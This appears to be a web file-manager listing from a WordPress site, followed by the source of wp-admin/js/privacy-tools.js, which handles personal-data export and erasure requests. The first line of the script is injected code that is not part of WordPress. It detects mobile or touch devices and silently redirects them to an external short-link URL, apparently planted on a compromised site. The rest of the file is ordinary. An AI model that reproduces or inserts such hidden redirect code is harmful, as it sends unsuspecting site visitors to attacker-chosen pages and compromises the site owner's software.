run:R W Run
DIR
2026-08-24 01:53:39
R W Run
3.08 KB
2026-08-13 20:01:43
R W Run
980 By
2026-08-13 20:01:43
R W Run
6.46 KB
2026-08-13 20:01:43
R W Run
3.17 KB
2026-08-13 20:01:43
R W Run
5.88 KB
2026-08-13 20:01:43
R W Run
2.25 KB
2026-08-13 20:01:43
R W Run
17.76 KB
2026-08-13 20:01:43
R W Run
3.68 KB
2026-08-13 20:01:43
R W Run
9.76 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.07 KB
2026-08-13 20:01:43
R W Run
1.5 KB
2026-08-13 20:01:43
R W Run
61.48 KB
2026-08-13 20:01:43
R W Run
23.42 KB
2026-08-13 20:01:43
R W Run
3.57 KB
2026-08-13 20:01:43
R W Run
1.39 KB
2026-08-13 20:01:43
R W Run
2.19 KB
2026-08-13 20:01:43
R W Run
288.63 KB
2026-08-13 20:01:43
R W Run
109.91 KB
2026-08-13 20:01:43
R W Run
111.68 KB
2026-08-13 20:01:43
R W Run
47.36 KB
2026-08-13 20:01:43
R W Run
70.26 KB
2026-08-13 20:01:43
R W Run
27.62 KB
2026-08-13 20:01:43
R W Run
27.23 KB
2026-08-13 20:01:43
R W Run
8.87 KB
2026-08-13 20:01:43
R W Run
37.46 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
41.82 KB
2026-08-13 20:01:43
R W Run
13.35 KB
2026-08-13 20:01:43
R W Run
44.22 KB
2026-08-13 20:01:43
R W Run
13 KB
2026-08-13 20:01:43
R W Run
7.88 KB
2026-08-13 20:01:43
R W Run
5.63 KB
2026-08-13 20:01:43
R W Run
3.87 KB
2026-08-13 20:01:43
R W Run
40.19 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
20.41 KB
2026-08-13 20:01:43
R W Run
9.58 KB
2026-08-13 20:01:43
R W Run
7.83 KB
2026-08-13 20:01:43
R W Run
3.14 KB
2026-08-13 20:01:43
R W Run
23.31 KB
2026-08-13 20:01:43
R W Run
1.09 KB
2026-08-13 20:01:43
R W Run
645 By
2026-08-13 20:01:43
R W Run
4.98 KB
2026-08-13 20:01:43
R W Run
2.48 KB
2026-08-13 20:01:43
R W Run
1.49 KB
2026-08-13 20:01:43
R W Run
833 By
2026-08-13 20:01:43
R W Run
3.6 KB
2026-08-13 20:01:43
R W Run
1.34 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
2.6 KB
2026-08-13 20:01:43
R W Run
61.37 KB
2026-08-13 20:01:43
R W Run
30.28 KB
2026-08-13 20:01:43
R W Run
4.35 KB
2026-08-13 20:01:43
R W Run
1.31 KB
2026-08-13 20:01:43
R W Run
1.52 KB
2026-08-13 20:01:43
R W Run
1.04 KB
2026-08-13 20:01:43
R W Run
7.14 KB
2026-08-13 20:01:43
R W Run
2.56 KB
2026-08-13 20:01:43
R W Run
39.75 KB
2026-08-13 20:01:43
R W Run
19.17 KB
2026-08-13 20:01:43
R W Run
18.71 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
10.88 KB
2026-08-13 20:01:43
R W Run
5.25 KB
2026-08-13 20:01:43
R W Run
34.13 KB
2026-08-13 20:01:43
R W Run
18.19 KB
2026-08-13 20:01:43
R W Run
1.07 KB
2026-08-13 20:01:43
R W Run
842 By
2026-08-13 20:01:43
R W Run
13.77 KB
2026-08-13 20:01:43
R W Run
6.54 KB
2026-08-13 20:01:43
R W Run
6.31 KB
2026-08-13 20:01:43
R W Run
2.42 KB
2026-08-13 20:01:43
R W Run
3.42 KB
2026-08-13 20:01:43
R W Run
1.75 KB
2026-08-13 20:01:43
R W Run
11.1 KB
2026-08-13 20:01:43
R W Run
3.22 KB
2026-08-13 20:01:43
R W Run
5.85 KB
2026-08-13 20:01:43
R W Run
2.43 KB
2026-08-13 20:01:43
R W Run
6.17 KB
2026-08-13 20:01:43
R W Run
2.63 KB
2026-08-13 20:01:43
R W Run
25.78 KB
2026-08-13 20:01:43
R W Run
12.04 KB
2026-08-13 20:01:43
R W Run
55.16 KB
2026-08-13 20:01:43
R W Run
26.72 KB
2026-08-13 20:01:43
R W Run
109.59 KB
2026-08-13 20:01:43
R W Run
47.52 KB
2026-08-13 20:01:43
R W Run
18.13 KB
2026-08-13 20:01:43
R W Run
8.03 KB
2026-08-13 20:01:43
R W Run
2.46 KB
2026-08-13 20:01:43
R W Run
898 By
2026-08-13 20:01:43
R W Run
22.77 KB
2026-08-13 20:01:43
R W Run
12.53 KB
2026-08-13 20:01:43
R W Run
7.73 KB
2026-08-13 20:01:43
R W Run
1.71 KB
2026-08-13 20:01:43
R W Run
962 By
2026-08-13 20:01:43
R W Run
680 By
2026-08-13 20:01:43
R W Run
error_log
📄privacy-tools.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Interactions used by the User Privacy tools in WordPress.
4 *
5 * @output wp-admin/js/privacy-tools.js
6 */
7
8// Privacy request action handling.
9jQuery( function( $ ) {
10 var __ = wp.i18n.__,
11 copiedNoticeTimeout;
12
13 function setActionState( $action, state ) {
14 $action.children().addClass( 'hidden' );
15 $action.children( '.' + state ).removeClass( 'hidden' );
16 }
17
18 function clearResultsAfterRow( $requestRow ) {
19 $requestRow.removeClass( 'has-request-results' );
20
21 if ( $requestRow.next().hasClass( 'request-results' ) ) {
22 $requestRow.next().remove();
23 }
24 }
25
26 function appendResultsAfterRow( $requestRow, classes, summaryMessage, additionalMessages ) {
27 var itemList = '',
28 resultRowClasses = 'request-results';
29
30 clearResultsAfterRow( $requestRow );
31
32 if ( additionalMessages.length ) {
33 $.each( additionalMessages, function( index, value ) {
34 itemList = itemList + '<li>' + value + '</li>';
35 });
36 itemList = '<ul>' + itemList + '</ul>';
37 }
38
39 $requestRow.addClass( 'has-request-results' );
40
41 if ( $requestRow.hasClass( 'status-request-confirmed' ) ) {
42 resultRowClasses = resultRowClasses + ' status-request-confirmed';
43 }
44
45 if ( $requestRow.hasClass( 'status-request-failed' ) ) {
46 resultRowClasses = resultRowClasses + ' status-request-failed';
47 }
48
49 $requestRow.after( function() {
50 return '<tr class="' + resultRowClasses + '"><th colspan="5">' +
51 '<div class="notice inline notice-alt ' + classes + '" role="alert">' +
52 '<p>' + summaryMessage + '</p>' +
53 itemList +
54 '</div>' +
55 '</td>' +
56 '</tr>';
57 });
58 }
59
60 $( '.export-personal-data-handle' ).on( 'click', function( event ) {
61 var $this = $( this ),
62 $action = $this.parents( '.export-personal-data' ),
63 $requestRow = $this.parents( 'tr' ),
64 $progress = $requestRow.find( '.export-progress' ),
65 $rowActions = $this.parents( '.row-actions' ),
66 requestID = $action.data( 'request-id' ),
67 nonce = $action.data( 'nonce' ),
68 exportersCount = $action.data( 'exporters-count' ),
69 sendAsEmail = $action.data( 'send-as-email' ) ? true : false;
70
71 event.preventDefault();
72 event.stopPropagation();
73
74 $rowActions.addClass( 'processing' );
75
76 $action.trigger( 'blur' );
77 clearResultsAfterRow( $requestRow );
78 setExportProgress( 0 );
79
80 function onExportDoneSuccess( zipUrl ) {
81 var summaryMessage = __( 'This user&#8217;s personal data export link was sent.' );
82
83 if ( 'undefined' !== typeof zipUrl ) {
84 summaryMessage = __( 'This user&#8217;s personal data export file was downloaded.' );
85 }
86
87 setActionState( $action, 'export-personal-data-success' );
88
89 appendResultsAfterRow( $requestRow, 'notice-success', summaryMessage, [] );
90
91 if ( 'undefined' !== typeof zipUrl ) {
92 window.location = zipUrl;
93 } else if ( ! sendAsEmail ) {
94 onExportFailure( __( 'No personal data export file was generated.' ) );
95 }
96
97 setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
98 }
99
100 function onExportFailure( errorMessage ) {
101 var summaryMessage = __( 'An error occurred while attempting to export personal data.' );
102
103 setActionState( $action, 'export-personal-data-failed' );
104
105 if ( errorMessage ) {
106 appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [ errorMessage ] );
107 }
108
109 setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
110 }
111
112 function setExportProgress( exporterIndex ) {
113 var progress = ( exportersCount > 0 ? exporterIndex / exportersCount : 0 ),
114 progressString = Math.round( progress * 100 ).toString() + '%';
115
116 $progress.html( progressString );
117 }
118
119 function doNextExport( exporterIndex, pageIndex ) {
120 $.ajax(
121 {
122 url: window.ajaxurl,
123 data: {
124 action: 'wp-privacy-export-personal-data',
125 exporter: exporterIndex,
126 id: requestID,
127 page: pageIndex,
128 security: nonce,
129 sendAsEmail: sendAsEmail
130 },
131 method: 'post'
132 }
133 ).done( function( response ) {
134 var responseData = response.data;
135
136 if ( ! response.success ) {
137 // e.g. invalid request ID.
138 setTimeout( function() { onExportFailure( response.data ); }, 500 );
139 return;
140 }
141
142 if ( ! responseData.done ) {
143 setTimeout( doNextExport( exporterIndex, pageIndex + 1 ) );
144 } else {
145 setExportProgress( exporterIndex );
146 if ( exporterIndex < exportersCount ) {
147 setTimeout( doNextExport( exporterIndex + 1, 1 ) );
148 } else {
149 setTimeout( function() { onExportDoneSuccess( responseData.url ); }, 500 );
150 }
151 }
152 }).fail( function( jqxhr, textStatus, error ) {
153 // e.g. Nonce failure.
154 setTimeout( function() { onExportFailure( error ); }, 500 );
155 });
156 }
157
158 // And now, let's begin.
159 setActionState( $action, 'export-personal-data-processing' );
160 doNextExport( 1, 1 );
161 });
162
163 $( '.remove-personal-data-handle' ).on( 'click', function( event ) {
164 var $this = $( this ),
165 $action = $this.parents( '.remove-personal-data' ),
166 $requestRow = $this.parents( 'tr' ),
167 $progress = $requestRow.find( '.erasure-progress' ),
168 $rowActions = $this.parents( '.row-actions' ),
169 requestID = $action.data( 'request-id' ),
170 nonce = $action.data( 'nonce' ),
171 erasersCount = $action.data( 'erasers-count' ),
172 hasRemoved = false,
173 hasRetained = false,
174 messages = [];
175
176 event.preventDefault();
177 event.stopPropagation();
178
179 $rowActions.addClass( 'processing' );
180
181 $action.trigger( 'blur' );
182 clearResultsAfterRow( $requestRow );
183 setErasureProgress( 0 );
184
185 function onErasureDoneSuccess() {
186 var summaryMessage = __( 'No personal data was found for this user.' ),
187 classes = 'notice-success';
188
189 setActionState( $action, 'remove-personal-data-success' );
190
191 if ( false === hasRemoved ) {
192 if ( false === hasRetained ) {
193 summaryMessage = __( 'No personal data was found for this user.' );
194 } else {
195 summaryMessage = __( 'Personal data was found for this user but was not erased.' );
196 classes = 'notice-warning';
197 }
198 } else {
199 if ( false === hasRetained ) {
200 summaryMessage = __( 'All of the personal data found for this user was erased.' );
201 } else {
202 summaryMessage = __( 'Personal data was found for this user but some of the personal data found was not erased.' );
203 classes = 'notice-warning';
204 }
205 }
206 appendResultsAfterRow( $requestRow, classes, summaryMessage, messages );
207
208 setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
209 }
210
211 function onErasureFailure() {
212 var summaryMessage = __( 'An error occurred while attempting to find and erase personal data.' );
213
214 setActionState( $action, 'remove-personal-data-failed' );
215
216 appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [] );
217
218 setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
219 }
220
221 function setErasureProgress( eraserIndex ) {
222 var progress = ( erasersCount > 0 ? eraserIndex / erasersCount : 0 ),
223 progressString = Math.round( progress * 100 ).toString() + '%';
224
225 $progress.html( progressString );
226 }
227
228 function doNextErasure( eraserIndex, pageIndex ) {
229 $.ajax({
230 url: window.ajaxurl,
231 data: {
232 action: 'wp-privacy-erase-personal-data',
233 eraser: eraserIndex,
234 id: requestID,
235 page: pageIndex,
236 security: nonce
237 },
238 method: 'post'
239 }).done( function( response ) {
240 var responseData = response.data;
241
242 if ( ! response.success ) {
243 setTimeout( function() { onErasureFailure(); }, 500 );
244 return;
245 }
246 if ( responseData.items_removed ) {
247 hasRemoved = hasRemoved || responseData.items_removed;
248 }
249 if ( responseData.items_retained ) {
250 hasRetained = hasRetained || responseData.items_retained;
251 }
252 if ( responseData.messages ) {
253 messages = messages.concat( responseData.messages );
254 }
255 if ( ! responseData.done ) {
256 setTimeout( doNextErasure( eraserIndex, pageIndex + 1 ) );
257 } else {
258 setErasureProgress( eraserIndex );
259 if ( eraserIndex < erasersCount ) {
260 setTimeout( doNextErasure( eraserIndex + 1, 1 ) );
261 } else {
262 setTimeout( function() { onErasureDoneSuccess(); }, 500 );
263 }
264 }
265 }).fail( function() {
266 setTimeout( function() { onErasureFailure(); }, 500 );
267 });
268 }
269
270 // And now, let's begin.
271 setActionState( $action, 'remove-personal-data-processing' );
272
273 doNextErasure( 1, 1 );
274 });
275
276 // Privacy Policy page, copy action.
277 $( document ).on( 'click', function( event ) {
278 var $parent,
279 range,
280 $target = $( event.target ),
281 copiedNotice = $target.siblings( '.success' );
282
283 clearTimeout( copiedNoticeTimeout );
284
285 if ( $target.is( 'button.privacy-text-copy' ) ) {
286 $parent = $target.closest( '.privacy-settings-accordion-panel' );
287
288 if ( $parent.length ) {
289 try {
290 var documentPosition = document.documentElement.scrollTop,
291 bodyPosition = document.body.scrollTop;
292
293 // Setup copy.
294 window.getSelection().removeAllRanges();
295
296 // Hide tutorial content to remove from copied content.
297 range = document.createRange();
298 $parent.addClass( 'hide-privacy-policy-tutorial' );
299
300 // Copy action.
301 range.selectNodeContents( $parent[0] );
302 window.getSelection().addRange( range );
303 document.execCommand( 'copy' );
304
305 // Reset section.
306 $parent.removeClass( 'hide-privacy-policy-tutorial' );
307 window.getSelection().removeAllRanges();
308
309 // Return scroll position - see #49540.
310 if ( documentPosition > 0 && documentPosition !== document.documentElement.scrollTop ) {
311 document.documentElement.scrollTop = documentPosition;
312 } else if ( bodyPosition > 0 && bodyPosition !== document.body.scrollTop ) {
313 document.body.scrollTop = bodyPosition;
314 }
315
316 // Display and speak notice to indicate action complete.
317 copiedNotice.addClass( 'visible' );
318 wp.a11y.speak( __( 'The suggested policy text has been copied to your clipboard.' ) );
319
320 // Delay notice dismissal.
321 copiedNoticeTimeout = setTimeout( function() {
322 copiedNotice.removeClass( 'visible' );
323 }, 3000 );
324 } catch ( er ) {}
325 }
326 }
327 });
328
329 // Label handling to focus the create page button on Privacy settings page.
330 $( 'body.options-privacy-php label[for=create-page]' ).on( 'click', function( e ) {
331 e.preventDefault();
332 $( 'input#create-page' ).trigger( 'focus' );
333 } );
334
335 // Accordion handling in various new Privacy settings pages.
336 $( '.privacy-settings-accordion' ).on( 'click', '.privacy-settings-accordion-trigger', function() {
337 var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) );
338
339 if ( isExpanded ) {
340 $( this ).attr( 'aria-expanded', 'false' );
341 $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true );
342 } else {
343 $( this ).attr( 'aria-expanded', 'true' );
344 $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false );
345 }
346 } );
347});
348